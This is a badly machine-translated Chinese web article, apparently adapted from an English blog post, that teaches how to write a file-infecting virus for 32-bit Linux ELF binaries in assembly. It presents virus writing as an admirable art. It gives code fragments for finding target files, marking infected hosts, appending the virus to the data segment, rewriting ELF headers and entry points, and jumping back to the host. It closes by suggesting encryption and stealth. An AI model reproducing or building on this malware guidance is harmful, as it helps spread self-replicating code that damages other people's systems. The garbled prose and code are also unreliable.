如何使用汇编语言编写一个病毒

若何装配语言中病毒的缀编

导言

病毒默许的艺术品的如同曾经散去了。。人们不残忍的歹意软件。,木马计,蠕虫等译成病毒。。你可以请求无论哪个密友的手稿挨次语言去编制that的复数渣滓挨次同时拍着本人的靠背嘚瑟一下,但这不是克不及让你译成病毒作者。。编制计算机病毒不是确定的是你留心的状况完整糟糕的车辆。,这也休息你的病毒繁殖的搜索和弃权被检测到的度。,它也比防病毒软件公司更灵巧。。它是顾虑改革和巧妙的。。计算机病毒在很多敬重就像纸质平的。。你需求用灵巧和才思的办法信徒平的。,并得知使它在不可弃权的着陆前尽量持久的徘徊。在万维网在前,繁殖病毒是本人应战。。给予财富好的话,它会传染除你要归咎于的无论哪个电脑。。倘若给予财富能力更强的,你的病毒将与鲸目动物病毒或Michelangelo viru有异样的宣传。。

倘若你想被重要病毒作者,你麝香在类似地大的的航向的。。在决斗黑客一套,黑客/黑客/侵入者,我最敬重的是病毒作者。。因没大人物能做到。,这真的能颁发专业合格证书他比另一个更深。、零碎和软件知。你不克不及认为译成本人简略的病毒设计者遵照定例。。编制本人真正的病毒需求比普通黑客更多的艺术品的。。积年以后的,我没能编制本人运转良好的二元系用锉锉来传染病毒。。一直弄错的。、报错、报错。这是一件使成为一体降低的事实。。因而我留存写昆虫的。、金衡制炸弹和ANSI炸弹。我留存写BBS使有裂纹。,还可以变坏录像机游玩软件打击版权谨慎使用。。随时据我的观点我的缀编技术终极就十足了。,当得知写病毒时,,舍弃再次发作在我的脸上。。我花了好几年的工夫才写出了本人真正行得通的的病毒。。这执意为什么我被病毒迷住了,想找出少量地真正的病毒。。在瑞安“elfmaster”奥尼尔演义的书《得知Linux二元系挨次辨析》中,他指数:

这是本人胜过惯例培养定例的成年的应战一则。,它召唤开发人员跳出引渡形成图案。,策划代码、通知和一带使它在一种度上体现摆脱。,当与AV防病毒软件开发人员书信时,令我搞糟的是,,他们偏袒没大人物对若何变坏病毒有无论哪个打手势要求。,更不消说设计无论哪个真正的研究法来酬劳它们(不计署名)。其实,病毒默许是完整努力的的。,需求基准变结实的艺术品的。。

装配语言中病毒的缀编

病毒是一门艺术品的。。缀编和C(不请求代码库)将是你的画笔。。喂,我会扶助你们处置我刊登于头版的少量地应战。。开端吧。,看一眼你其切中要害哪一个有译成艺术品的家的潜力。!

在特色我先前的源代码传染病毒Windows 教程。,这是本人更上进和负有应战性的体验/请求(倘若是E)。。还,我鼓舞你尽量多地观察和吸取。。

让人们先来撰文一下我的打手势要求。、真正的病毒能具有少量地特点。:

病毒会传染二元系可处死用锉锉。

——病毒代码麝香是孤独的,它与休息用锉锉无干。、代码库、挨次等。

受传染的大师用锉锉可以持续处死和转乘病毒。

病毒像成虫平等地不状况完整糟糕的车辆当主人用锉锉。。传染的当主人能持续体现,仿佛它们被传染了平等地。

因人们想传染二元系可处死用锉锉。,故,简洁的绍介了特色的可处死典型。。

  • ELF-(可处死和勾住的用锉锉格式)Unix和类Unix零碎基准的的二元系用锉锉格式。这亦很多大哥大。,游玩玩家(游玩站),任天堂)类似地云云。。
  • machine 机器o -(machine 机器抱反感)是NeXTSTEP,macOS,IOS等,二元系可处死用锉锉格式请求,你事实上是在请求它。,因懂得苹果大哥大都在这时。。
  • 32位和64位微软伪造的PE(可外植体可处死挨次)
  • MZ(DOS) DOS背衬的可处死用锉锉格式…懂得微软32和以下伪造零碎被请求。
  • COM(DOS) DOS背衬的可处死用锉锉格式…懂得微零碎在32和以下伪造零碎下运转。

有很多微软病毒Windows 教程。,还ELF病毒如同更具应战性,同时Windows 教程不大。,因而我最关怀的是32个ELF一则的传染。。

据我的观点准教授职位无论如何有一种引渡的默许。。倘若心不在焉,我提议你观察我先前的视频博客文字。:

Stupid Simple Computer Virus in 3 Lines of Code

How to Create a Computer Virus

How to Make a Simple Computer Virus with Python

高音部步是找到要被传染的用锉锉。。DOS规则集一言可尽找到用锉锉。。AH:4Eh INT 21规则可以本着考虑到的用锉锉找到第本人婚配用锉锉。,和啊:4FH INT 21,你可以找到下本人婚配用锉锉。。三灾八难的是,对人们来说,事实不能胜任的类似地简略。。请求Linux挨次集检索用锉锉列表,这归咎于很多互相牵连的用锉锉。。多数的分别的回复中人们瞥见它依赖于POSIX零碎的readdir()作用。但人们是黑客。,好的的?让人们做黑客能做什么来完整的它。。你能熟识的器是Strues。。跑步机 ls,当运转ls命令时,人们留心,零碎召唤和发信号顺风的。

AH:4Eh INT 21规则

你感兴趣的大声喊是GET。。因而下一步是找寻Geress。。这会给人们短距离准时的。,人们能若何请求它,话说回来若何在大学养护便览的列表。。这执意我瞥见的。:

  1. 电动摩托车, 5      ; sys_open 
  2. MOV EBX,用锉锉夹;大学养护便览名。
  3. MOV ECX, 0 
  4. MOV-EDX, 0 
  5.     int 80h 
  6. 物质的化学结合机械抛光,0、反省EAX切中要害FD其切中要害哪一个为>0(ok)
  7. JBE弄错;无法翻开用锉锉,弄错抛弃
  8. MOV EBX, eax     
  9.     电动摩托车, 0xdc   ; sys_getdents64  
  10. MOV ECX, buffer  
  11. MOV-EDX, len  
  12.     int 80h  
  13.     电动摩托车,6;合拢
  14.     int 80h 

如今,大学养护便览的质地曾经在人们任命的缓冲液中。,人们麝香辨析它。。出于一种原稿,当作每个用锉锉名,如同心不在焉分歧的偏移量。,但或许我错了。。但我只对that的复数原始的字母串称号感兴趣。。我所做的是誊写版印刷机缓冲液到基准出口。,话说回来将其保鲜到另本人用锉锉。,话说回来请求十六二元系编者翻开它。。我瞥见每本人用锉锉名都有本人前缀。,前缀由十六岁二元系值0x00(NULL)结合,后头是本人六重奏。。用锉锉名由NULL结局(后缀是十六二元系0x00)。

  1. find_filename_start: 
  2. 在用锉锉名开端在前查找序列0008。
  3. 添加EDI, 1 
  4. CMP EDI, len  
  5. 杰吉德
  6. CMP八位位组[巨物 EDI], 0x00  
  7.     jnz find_filename_start  
  8. 添加EDI, 1 
  9. CMP八位位组[巨物 EDI], 0x08  
  10.     jnz find_filename_start  
  11. 异或ECX,ECX空。,它将作为用锉锉被使中立化。
  12. find_filename_end: 
  13. 排空ECX,它将作为用锉锉被使中立化。
  14. 添加EDI, 1  
  15. CMP EDI, len     
  16. 杰吉德
  17. 防波堤BL,[缓冲液 EDI];从缓冲液免职用锉锉名使均衡。
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 补充保鲜在ecx的偏移量 
  20. CMP八位位组[巨物 EDI],0x00;表现用锉锉名的煞尾。
  21.     jnz find_filename_end 
  22. MOV八位位组[用锉锉 ECX ],0x00;在这时,人们在用锉锉的称号。,在它的跟踪上加本人0x00。
  23. 对这事用锉锉做少量地伪造。
  24.     jmp find_filename_start ; 找下本人用锉锉 

其实有能力更强的的办法来做这些事实。。您需求做的是婚配大学养护便览条决意八位位组构造。:

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下本人linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 这事linux_dirent的大量 */ 
  5.                char           d_name[];  /* 用锉锉名 (null煞尾) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // ); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下个structure的偏移 */ 
  17.                unsigned short d_reclen; /* 这事dirent的大量 */ 
  18.                unsigned char  d_type;   /* 用锉锉典型 */ 
  19.                char           d_name[]; /*用锉锉名 (null煞尾) */ 
  20.            }; 

但我请求的是我瞥见的形成图案。,它不请求构造切中要害偏移量。。

下一步是反省用锉锉。,看一眼其切中要害哪一个:

这是本人ELF可处死用锉锉。

它被传染了吗?

早点儿时分,我为特色的伪造引入了特色典型的可处死用锉锉。。这些用锉锉典型在它们的用锉锉头上有特色的迹象。。诸如,ELF用锉锉一直源自7F45 4c46开端。45-4c-46是ASCII字母E-L-F的施魔法于表现。

倘若转储Windows可处死用锉锉,则有十六岁二元系通知,你会留心它从4D5A开端。,代表字母Z。

十六二元系转储OSX可处死用锉锉显示门或窗户上面的线脚八位位组CEFA。 EDFE,这亦本人小的饲料。 FACE”。

在这时你可以留心更多的可处死用锉锉格式和它们各自的基地防空地面警备系统。:

0edd1e00

在我的病毒里,据我看来把我的基地防空地面警备系统写在ELF用锉锉第九的头上 – 12八位位组在未请求的空隙。这是个好空隙。,它可以用来储藏处本人双字0EDD1E00-我的名字。。

我需求这事来基地防空地面警备系统我传染的用锉锉。,故,我不能胜任的再次传染受传染的用锉锉。。要不然,传染用锉锉的大量将越来越大,如SoNB。,初瞥见了耶路撒冷病毒。。

简略地读取前12个八位位组。,人们能确保用锉锉是本人晴朗的的传染目的吗?。我使突出把每个潜在的目的储藏处在本人独自的缓冲液中。,称之为目的。。

如今它开端得到越来越难了。。为了传染ELF用锉锉,你需求变卖关心ELF用锉锉构造的万事。。这是得知的好没相当。:。

不同的简略的COM用锉锉,ELF有少量地特色的应战。。简略来说,ELF用锉锉使具体化:ELF头,挨次头,节头,命令伪造码。

ELF名称牌告知人们顾虑挨次头和HEA的要旨。。它还告知人们挨次进食点在内存切中要害地方(FI)。

这事安排告知人们。,哪个方面属于倒转术段?,哪个方面属于通知段?,也赠送了用锉锉切中要害偏移量。。

该节供奉了顾虑每个休息日和他们的方面的要旨。。这能若干杂乱。。率先要默许的是,本人可处死用锉锉与D特色。,这些头在这两个敬重赠送了互相牵连的要旨。。

倒转术段是可被读取/处死的代码段。,它使具体化人们的代码和休息只读通知。。

通知段是可读/写的通知段。,它使具体化顾虑全程变量和静态勾住的要旨。。

在倒转术段中,有A倒转术使均衡和A RODATA使均衡。。方面通知,有A使均衡和BSS使均衡。。

倘若你熟识装配语言,这些章节称号发声能很熟识。。

倒转术是代码驻留的空隙。,通知是全程变量设定初值的空隙。。BSS使具体化未设定初值的全程变量。,因它心不在焉设定初值。,因而心不在焉服务磁盘租房。。

不同的PE用锉锉(微软),ELF用锉锉中心不在焉这么多的传染区域。。过时DOS、COM用锉锉险乎容许你在无论哪个空隙添加病毒代码,话说回来在100 这事地址草木了内存代码(因COM用锉锉一直在100)。 H的内存地址开端映照。。ELF用锉锉不容许您编制倒转术段。。这些是传染ELF病毒的首要道路。:

受传染倒转术段馅区

倒转术拔出剑的传染跟踪。人们可以使用ELF用锉锉的特点。,当堆积到内存中,跟踪将请求0馅到整体的的内存页中。。内存页长限度局限,因而人们最适当的在32位零碎中承兑本人4。 KB病毒或64位零碎切中要害2位。 MB病毒。能演出很小。,但它也足以承兑用C或缀编编制的小病毒。。这一目的的完整的是:

修正进食点(ELF头)到倒转术使均衡的末了。

补充表中页的大量(精灵头)

——补充Text段的用锉锉大量和内存大量为病毒代码的大量

在病毒被寄生后遍历每个挨次头。,本着浏览大量补充呼应的偏移量。

查找倒转术段的结局一节。,补充结(头)的大量

传染后横贯病毒的每一使均衡。,本着浏览大量补充呼应的偏移量。

——在.text节的跟踪拔出实践的病毒代码

——拔出病毒代码后跳绳到原始大师的进食点。处死

倒转术拔出剑的反向传染

在容许大师代码的同时,倒转术使均衡的鼻子受到传染。。人们将在相反的面貌扩充倒转术段。。同龄人Linux零碎中容许的最小虚设的映照地址为0x100。,这是人们可以反向扩充倒转术段的限度局限大量。。浅谈64位制,默许倒转术段虚设的地址通常为0x4000。,在ELF头大量为RE后来的,可以保存0x3FF000的形成大块。。浅谈32位制,默许倒转术段虚设的地址通常为0x08048。,这能会发作更多的病毒。。完整的这一目的的办法是:

——补充节表(在ELF头)里的偏移为病毒大量(对下一内存页指示值取余)

倒转术段挨次头,因为大量的虚设的地址(和物理地址)增加

倒转术段挨次头,本着病毒大量补充用锉锉大量和内存大量

本着病毒的大量(再次),遍历每个挨次头的偏移量,将其值补充到倒转术段以上所述。

——修正进食点(在ELF头)到原始的text段虚设的地址——病毒的大量(再次取余)

本着病毒的大量(再次),补充挨次头偏移(在ELF名称牌上)

将病毒灵拔出倒转术段的正面的

通知段传染

传染通知段。人们将把病毒代码附加到data段(在.bss节在前)。因它是通知的一使均衡。,人们的病毒代码可以尽量的大,就像人们希望的事的这么。。通知储藏处段通知具有R。 + W(读写)权力设置,倒转术内存有R。 + X(读取和处死)权力设置。在心不在焉NX位设置的零碎中,诸如32位Linux零碎。,可以在不更改权力的养护下处死方面通知切中要害代码。。不管怎样,休息零碎召唤您在内存段添加可处死基地防空地面警备系统。。

本着病毒的大量,补充头部的偏移量

将进食点(在ELF头)修正为通知段的煞尾(V)

在通知段挨次头中,因为病毒大量补充浏览大量和内存大量

补充BSS使均衡的偏移量(休息VIR的大量)

设置通知段的可处死权力位(32位Linux零碎)。

将病毒灵拔出到通知段的末了

——拔出代码,跳绳到原始大师的进食点。

自然,有更多的方法被传染。,但这些都是高音部选择。。以人们为例,将采取是你这么说的嘛!第三种办法。。

编制病毒的另本人首要阻碍的行为或建议是变量。。梦想养护下,人们不愿兼并.DATA和BSS使均衡。。与此同时,一旦缀编或缀编病毒,无法许诺您的病毒一直做同样的虚设的添加中。。其实,这险乎来世不能胜任的发作。,在这种养护下,大师挨次会投错方面。。因而在梦想的养护下,您希望的事将病毒限度局限在特定的的区域。:.text。倘若你有编纂体验,你变卖这是本人应战。。我将和你分享少量地熟练。,它能使审核更轻易。。

率先,让人们看一眼.data变量(设定初值)。倘若能的话,硬编码值。或许,假说我有我的.ASM代码。:

  1. 横切面通知
  2. 用锉锉夹DB。, 0 
  3. 伦2048
  4. 丝裂霉素32
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 ->反向八位位组挨次
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 倒开的八位位组序后的署名 
  7. BSS
  8.     filename: resb filenamelen  ; 目的用锉锉按某路线发送 
  9.     buffer: resb len            ; 懂得的用锉锉名 
  10.     targets: resb len           ; 目的用锉锉名 
  11.     targetfile: resb len        ; 目的用锉锉质地 
  12. 倒转术使均衡
  13.     global v1_start 
  14. v1_start: 
  15. 你可以类似地大的做: 
  16. 呼叫署名
  17.     dd 0x001edd0e     ; 0x0edd1e00倒开的八位位组序后的署名 
  18. signature: 
  19. POP ECX;如今它的价钱为在ECX。

人们在请求的是,召唤召唤规则时,呼叫的现在时的规则的相对地址将被按下。。

故,人们可以经过每个通知段切中要害变量来处置这事成绩。。

顾虑BSS使均衡切中要害变量(未设定初值),人们需求储藏处一定数量的八位位组通知。。人们在Text .Text中类似地大的做,因它属于倒转术代码段。,其属性基地防空地面警备系统为R。 + X(读取和处死),在该内存段中写信通知是不容许的。。因而我决定请求堆栈。。栈?是的,一旦人们将八位位组压入栈中,人们可以留心堆栈有指导意义的事物并保存这些门或窗户上面的线脚。。上面是我的处置方案的本人建议。:

  1. 为未设定初值变量翻开堆栈存储量以弃权请求
  2. MOV ECX,2328;设置传递计数2328。x4=9312八位位组)。用锉锉名(ESP), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 压入4个八位位组(双字)的0 
  5. 子ECX,1;减一。
  6. 物质的化学结合机械抛光ECX, 0 
  7.     jbe loop_bss 
  8. MOV EDI,ESP;ESP具大人物们残忍的伪造的BSS偏移量。。让人们把它储藏处在EDI中。。 

小心,我曾经按下0x00八位位组(按32双压机),准地应该表示的大量。。准地说,人们挤了2328下。。这将给人们大概9312八位位组的租房请求。。一旦我完整的懂得0八位位组栈,储藏处ESP的值(即,人们的堆栈有指导意义的事物),并把它作为人们铁匠铺的BSS的根底。。我可以援用ESP。 采访特色的变量。在我的建议中,我保鲜的[ESP]对应于用锉锉名。,科特雷耳电集尘器 + 32)对应于巨物。,科特雷耳电集尘器 + 1056)对应于目的。,话说回来科特雷耳电集尘器 + 2080]对应targetfile。

如今我可以完整拟出.DATA和.BSS使均衡的请求。,整个的病毒由不平常的的倒转术使均衡输送。!

Read是本人完整有用处的器。。运转readelf A[用锉锉]将赠送ELF头/挨次头/头的少量地特殊情况。:

这时有三个使均衡。:.text、.data、.bss

text节

在这时,人们消不计BSS使均衡。:

消不计.bss节

在这时,人们曾经完整消不计通知段。。人们可以请求.text使均衡孤独地完整的懂得的事实。!

完整消不计.data段

如今人们需求从大师用锉锉读取八位位组通知到缓冲液。,对头部举行大声喊的修正。,筋疲力尽的病毒迹象物。。倘若您曾经完整的了大学养护便览记录构造的作业,这对你有净值利润率。。要不然,人们将不得不读取本人八位位组到本人八位位组的用锉锉。,直到零碎读取EAX的0统计表。 X00的呼叫,这表白人们曾经成功了EOF。:

  1. reading_loop: 
  2.     电动摩托车, 3              ; sys_read 
  3. MOV-EDX,1;一次读取本人八位位组(是),我变卖这能是最好的。
  4.     int 80h  
  5. 物质的化学结合机械抛光,0;倘若统计表0,人们读了关心EOF的文字。
  6.     je reading_eof 
  7.     电动摩托车, edi  
  8. 添加EAX, 9312          ; 2080 + 7232 (2080 targetfile在人们伪造 .bss的偏移) 
  9. 物质的化学结合机械抛光ECX,倘若用锉锉超越7232八位位组, 抛弃 
  10. JGE传染
  11. 添加ECX, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;保鲜结局读取的本人八位位组的地址,人们以后的需求。
  15.     电动摩托车,6;合拢用锉锉。
  16.     int 80h 

修正缓冲液完整简略。。把事记住,当高出无论哪个八位位组时,麝香处置反向八位位组挨次(小八位位组)。。

这时人们入轨病毒基地防空地面警备系统并方法进食点指导人们在通知段跟踪的病毒代码。(内存中未被用锉锉大量草木的BSS服务的租房):

  1. MOV EBX, dword [edi+2080+eax+8]     ; phdr->Vaddr(内存虚设的地址)
  2. 添加EBX,新的进食点= PHDR [通知]>VADDR P[通知]>filesz 
  3. MOV ECX, 0x001edd0e     ; 在8八位位组处拔出人们的迹象(ELF头心不在焉用到的节) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24],用病毒(缓冲液)草木旧的进食点

小心到据我看来储藏处0xedd1e00(用施魔法于特点编制的我的名字)的病毒基地防空地面警备系统,还反向八位位组挨次赠送了0x01ED00E。。

你也会小心到,我请求转变算法找到栈的尽头区域驾驶员的T。

如今人们需求奔赴通知挨次并举行少量地修正。。窍门是率先找到PTHLoad典型。,话说回来决定偏移归咎于0吗?。倘若偏移量为0,它是本人倒转术挨次头。。要不然,这是通知。。

  1. section_header_loop: 
  2. BSS横切面经过节头(NoBIT)的传递搜索
  3.    
  4. 0 SyName使具体化指导考虑到节的称号字母串的有指导意义的事物。
  5. 4 SHI-型考虑到横切面典型〔节名〕
  6. 8个迹象休息迹象
  7. 虚设的地址
  8. 10用锉锉偏移量的SH偏移使均衡
  9.     ;+14    sh_size zara white phone numba 
  10. 18爆炸勾住的SHILLink
  11. 1C SHIFIN本着横切面典型
  12. 20方位指示
  13.     ;+24    sh_entsize  当节使具体化不变的大量的进食时被请求 
  14. 添加斧, word [edi+2080+46] 
  15. 物质的化学结合机械抛光ECX, 0 
  16.     jbe finish_infection        ; 未发现.bss节。不消撕咬。,传染可以完整的。
  17. 子ECX,1;减一。
  18.    
  19. MOV EBX, dword [edi+2080+eax+4]     ; shdr->典型(外形典型)
  20. CMP EBX, 0x00000008         ; 0x08是 NOBITS,区间BSS引用
  21.     jne section_header_loop     ; 归咎于.bss节 
  22.    
  23. MOV EBX, dword [edi+2080+eax+12]    ; shdr->内存虚设的地址
  24.     添加EBX, v_stop - v_start   ; 补充人们病毒的大量给 shdr->addr 
  25.     添加EBX,7;为了跳到没相当。
  26.     mov [edi+2080+eax+12],请求新的旧SHDR草木。>(缓冲液)
  27.    
  28. MOV-EDX, dword [edi+2080+eax+16]    ; shdr->偏移(外形偏移)
  29. 添加EDX, v_stop - v_start   ; 补充人们病毒的大量给shdr->offset 
  30. 添加EDX,7;为了跳到没相当。
  31.     mov [edi+2080+eax+16],EDX;请求新的旧SHDR草木。>偏移量(在缓冲液)

人们还需求修正.bSS名称牌。。人们可以反省mark NOBITS典型来断定这其切中要害哪一个是结节头。。填料头不确定的需求运转可处死用锉锉。。因而倘若人们未发现它,没什么万一出现最坏的情况的。,人们依然可以持续。:

  1. ;dword [edi+2080+24]       ; ehdr->进食(进食点的虚设的地址)
  2. ;dword [edi+2080+28]       ; ehdr->Phoff(不贵的安排头)
  3. ;dword [edi+2080+32]       ; ehdr->Shoff(鼓起偏移)
  4. ;word [edi+2080+40]        ; ehdr->Ehsize(精灵头大量)
  5. ;word [edi+2080+42]        ; ehdr->PHEnthScript(挨次头的进食大量)
  6. ;word [edi+2080+44]        ; ehdr->Phnum(挨次航向项的数量)
  7. ;word [edi+2080+46]        ; ehdr->Shentsize(头项大量)
  8. ;word [edi+2080+48]        ; ehdr->Shnum(挨次航向项的数量)
  9. 电动摩托车, v_stop - v_start       ; 人们病毒的大量减去到原始进食点的跳绳 
  10. 添加EAX, 7                      ; 为了到原始进食点的跳绳 
  11. MOV EBX,dWord〔EDI 2080+32〕;刚才的协约国偏移。
  12. 添加EAX, ebx                    ; 补充原始节头偏移 
  13. mov [edi+2080+32],请求旧的SHDR草木。>偏移量(在缓冲液)

话说回来,自然,人们需求修正头部偏移量来修正ELF头。,因人们传染了通知段的臀部(在BSS在前)。挨次头拿住在能与之比拟的东西的地方。:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->PHOFF(挨次头偏移)
  3. ;dword [edi+2080+32]       ; ehdr->SHIFF(节头偏移)
  4. ;word [edi+2080+40]        ; ehdr->EHGE(ELF名称牌形成大块)
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. 电动摩托车, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. 添加EAX, 7                      ; for the jmp to original entry point 
  11. MOV EBX, dword [edi+2080+32]    ; the original section header offset 
  12. 添加EAX, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

结局一步是入轨病毒的灵代码。,并完整的跳绳规则统计表大师代码进食点。,类似地大的人们不知道的用户就会留心大师挨次正规军运转。。

你能会问本人这事成绩是,病毒若何上射式的本人的代码?病毒是若何决定本人的大量呢?这些都是晴朗的的成绩。率先,我用门或窗户上面的线脚来基地防空地面警备系统病毒的开端和完毕。,话说回来请求简略的算学偏移。:

  1. 倒转术使均衡
  2.     global v_start 
  3.    
  4. v_start: 
  5. 病毒体开端
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11. 病毒体臀部
  12.     电动摩托车, 1      ; sys_exit 
  13. MOV EBX,0;正规军遗产。
  14.     int 80h 

经过类似地大的做,我可以请求VYSTART作为病毒启动时的偏移量。,话说回来,可以请求VYSTOT-VYSTART作为八位位组数(大量)。。

  1. 电动摩托车, 4 
  2. MOV ECX,VXSTART;附加病毒使均衡。
  3. MOV-EDX,VY-START-VYSTART;病毒八位位组大量
  4. int 80h 

病毒大量(VY-中止) – 能力更强的的计算,还在高音部次传染后病毒代码的正面的(mov ecx, 援用将舍弃。。其实,对相对地址的无论哪个援用大主教区舍弃。,因特色大师挨次的内存地方会发作零钱。。在缀编间计算像VYSTART的门或窗户上面的线脚的相对地址。,这休息它是怎样呼唤的。。你请求的正规军短跳就像JMP。、jne、jnz等都将被掉换为相当作现在时的规则的偏移,还像MOV类似地大的的地址不能胜任的方法。。人们需求的是变量增量偏移。。Delta偏移量是与现在时的大师FIL的虚设的地址差。。这么若何在delta偏移量呢?这有本人我从90年首的DOS病毒Windows 教程“Dark Angel’s Phunky Virus 从导游那边学到的完整简略的技术。:

  1. call delta_offset 
  2. lta_offset: 
  3. 流行病脑出血
  4. 亚EBP, delta_offset 

在现在时的地方召唤门或窗户上面的线脚,现在时的规则的有指导意义的事物(相对地址)就会被压入栈以出恭你可以变卖你RET统计表到哪里。人们简直从堆栈中获取这事值,话说回来在指导现在时的INS的有指导意义的事物。。话说回来从CurrE中减去原始病毒的相对地址。,人们在EBP在了变量增量偏移。!在原始病毒的处死审核中,δ偏移量为0。。

你会小心到,为了弃权少量地阻碍的行为或建议,人们不打大声喊叫大声喊。,反之亦然。我提议你不要在这事一则以及类似地做。,因很明显。,走慢呼叫/ RET对将原因功能废物。…但这不是正规军。。

如今人们有delta偏移量。,让人们把VYSTART的援用掉换成delta偏移版本。:

  1. 电动摩托车, 4 
  2. 莱卡, [ebp + v_start]    ; 附加病毒使均衡 (用delta偏移计算) 
  3. MOV-EDX,病毒通知大量
  4. int 80h 

请小心,我心不在焉在病毒中使具体化零碎抛弃召唤。。这是因我不希望的事病毒在处死大师在前抛弃。。相反,我用跳绳到原始大师的代码掉换这使均衡。。因特色大师挨次的进食点是特色的。,我需求静态地建造它,话说回来我将直地拔出砌。。为了找出伪造码,您麝香率先领会JMP规则自身的特点。。JMP规则将尝试经过计算。人们麝香委托它相对的位置。。我经过缀编本人小挨次外面的JMP短跳绳和JMP远跳绳算出了它们的施魔法于伪造码。JMP 伪造代码从E9反而FF。

  1. MOV EBX, 0x08048080 
  2. JMP EBX
  3. jmp 0x08048080 

安装后,我运转XXD,话说回来反省八位位组通知,变卖若何把它翻译成。

“xxd”话说回来反省八位位组通知就变卖若何将它翻译成伪造码

  1. pop edx                 ; 当主人挨次的原始进食点 
  2. MOV[EDI], byte 0xb8        ; MOV EAX的伪造码 (1 byte) 
  3. mov [edi+1],原始进食点(4八位位组)
  4. mov [edi+5], word 0xe0ff    ; JMP EAX伪造码 (2 bytes) 

MOV双表示EAX结局表现为B8。 xx xx xx xx。JMP到表示EAX中储藏处的地址结局表现为FF。 E0

总公共用地7个额定的八位位组被添加到病毒的臀部。。这也意图,人们修正的每个偏移量和用锉锉大量麝香加到这事额定的7八位位组中。。

因而我的病毒方法了缓冲液的头部(而归咎于用锉锉),话说回来用修正的缓冲液草木当主人用锉锉直到人们病毒代码驻留的偏移地方。话说回来拔出本人(VSTART),持续写信缓冲八位位组的其余者使均衡。,结局,将控制权转变到原始大师用锉锉。。

一旦我缀编病毒,据我看来人工控制添加病毒基地防空地面警备系统在第八日八位位组的病毒。。在我的养护下,这能归咎于大声喊的。,因我的病毒会整整目的倘若它心不在焉本人DATA段的话,但养护并非一直类似地。。翻开你如同的十六说教编者并添加这些八位位组。!

如今人们完整的了。,让人们缀编和尺寸它。:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录制了音长尺寸录像机。。我发声若干缺少热心。,简直因夜深漏残了。,其实,我兴高采烈。。

既然你曾经看完了,这时是我越过评论病毒代码的勾住。:

这是一种完整简略的ELF传染病毒。。它也可以经过完整简略的装束来改善。:

从ELF名称牌拔出剑更多要旨(32或64位)、可处死用锉锉等。

在目的用锉锉缓冲液后分派用锉锉缓冲液。为什么?因当人们吸引targetfile缓冲液时就不再请求用锉锉缓冲液了,人们可以淹没用锉锉缓冲液以吸引更大的目的用锉锉缓冲液。。

遍历大学养护便览,它也可以经过少量地有点儿复杂的装束来改善。:

有点儿草木人们的轨道和能力更强的的秘密行动。

——编密码!

——方法特点

请求更努力的的检测办法传染

好了,这执意你的整个一块地。。

总结

经过观察这篇文字,我希望的事你也能吸引少量地顾虑探试法病毒检测知(而不需求搜索特定的病毒特点)。或许这将是另一天的提供。。或许我会绍介OSX病毒。…或许我会做少量地恶行,展览品本人诺迪斯病毒。。

[编纂的提议]

【责任编纂:

它放纵的

TEL:(010)68476606】

点赞 0

发表评论

电子邮件地址不会被公开。 必填项已用*标注